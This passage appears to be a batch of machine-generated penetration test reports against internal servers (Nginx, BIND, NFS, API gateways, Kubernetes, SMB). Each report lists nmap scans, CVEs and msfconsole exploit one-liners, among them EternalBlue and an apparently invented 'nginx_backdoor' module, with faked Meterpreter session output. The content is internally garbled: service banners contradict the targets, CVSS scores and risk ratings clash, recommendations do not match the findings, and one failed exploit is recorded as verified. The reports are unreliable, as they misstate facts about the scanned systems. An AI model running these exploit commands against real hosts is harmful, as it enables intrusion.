Linux. Implement just-in-time access controls where possible. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0041 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Nginx web server (10.82.36.223) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 10.82.36.223 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.82.36.223 Host is up (0.52s latency). MAC Address: 84:58:EB:E0:92:DD (Juniper) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 1 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 13 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.82.36.223 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.82.36.223 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.82.36.223 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.82.36.223; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (694 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained www-data access [*] Connected to 10.82.36.223 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0042 Date: 2025-05-11 19:07:19 Tester: mchen Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the BIND DNS server (192.168.243.170) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 192.168.243.170 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.243.170 Host is up (0.50s latency). MAC Address: 38:A9:15:13:9B:19 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 13 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 192.168.243.170 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @192.168.243.170 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 192.168.243.170; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 192.168.243.170:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @192.168.243.170 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0043 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Nginx web server (192.168.33.123) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.33.123 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.33.123 Host is up (0.56s latency). MAC Address: B6:10:C8:24:AE:07 (Cisco) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 1 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module) CVE: CVE-2022-41741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.123 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.123 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.33.123 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.33.123; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2022-41741 (CVE-2022-41741) - CVE-2023-44487 (CVE-2023-44487) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (468 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.33.123 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0044 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the NFS server (192.168.210.140) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 192.168.210.140 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.210.140 Host is up (0.11s latency). MAC Address: DE:5D:05:65:37:4B (Intel) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 21 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.210.140 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.210.140 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 192.168.210.140; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Target is not vulnerable [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - Service may be patched or configuration differs from vulnerable state [*] Recommended next steps: - Verify payload compatibility (staged vs stageless) - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0045 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the REST API gateway (10.115.100.19) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.115.100.19 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.115.100.19 Host is up (0.53s latency). MAC Address: 4A:03:1D:EE:59:C0 (Microsoft) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 5 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.115.100.19 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.115.100.19 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.115.100.19 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.115.100.19; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Payload failed to execute [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) - Memory protections (ASLR/DEP) or application sandboxing prevented payload execution [*] Recommended next steps: - Verify payload compatibility (staged vs stageless) - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0046 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the REST API gateway (10.41.38.71) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.41.38.71 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.41.38.71 Host is up (0.33s latency). MAC Address: 2C:40:E7:E3:22:D7 (IBM) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.41.38.71 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.41.38.71 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.41.38.71 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.41.38.71; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (360 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained user access [*] Connected to 10.41.38.71 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Critical Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0047 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Kubernetes API server (10.117.3.130) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 10.117.3.130 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.117.3.130 Host is up (0.43s latency). MAC Address: 36:AA:04:E0:30:CE (Samsung) 6443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10250/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10255/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 2 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.117.3.130 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.117.3.130 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 10.117.3.130; set RPORT 6443; exploit" Output: [*] Started reverse TCP handler on port 6443 [*] Attempting to exploit using linux/http/kubernetes_api_server_rce... [-] Exploit failed: Target architecture mismatch [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-25741 (CVE-2021-25741) - CVE-2020-8554 (CVE-2020-8554) - Payload architecture incompatible with target system [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0048 Date: 2025-05-11 19:07:19 Tester: mchen Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the SMB file server (192.168.132.81) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.132.81 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.132.81 Host is up (0.48s latency). MAC Address: 5C:02:14:7A:18:B8 (VMware) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 2 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.132.81 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.132.81 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.132.81; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (258 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained system access [*] Connected to 192.168.132.81 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Implement TLS 1.2+, encrypt data at rest using 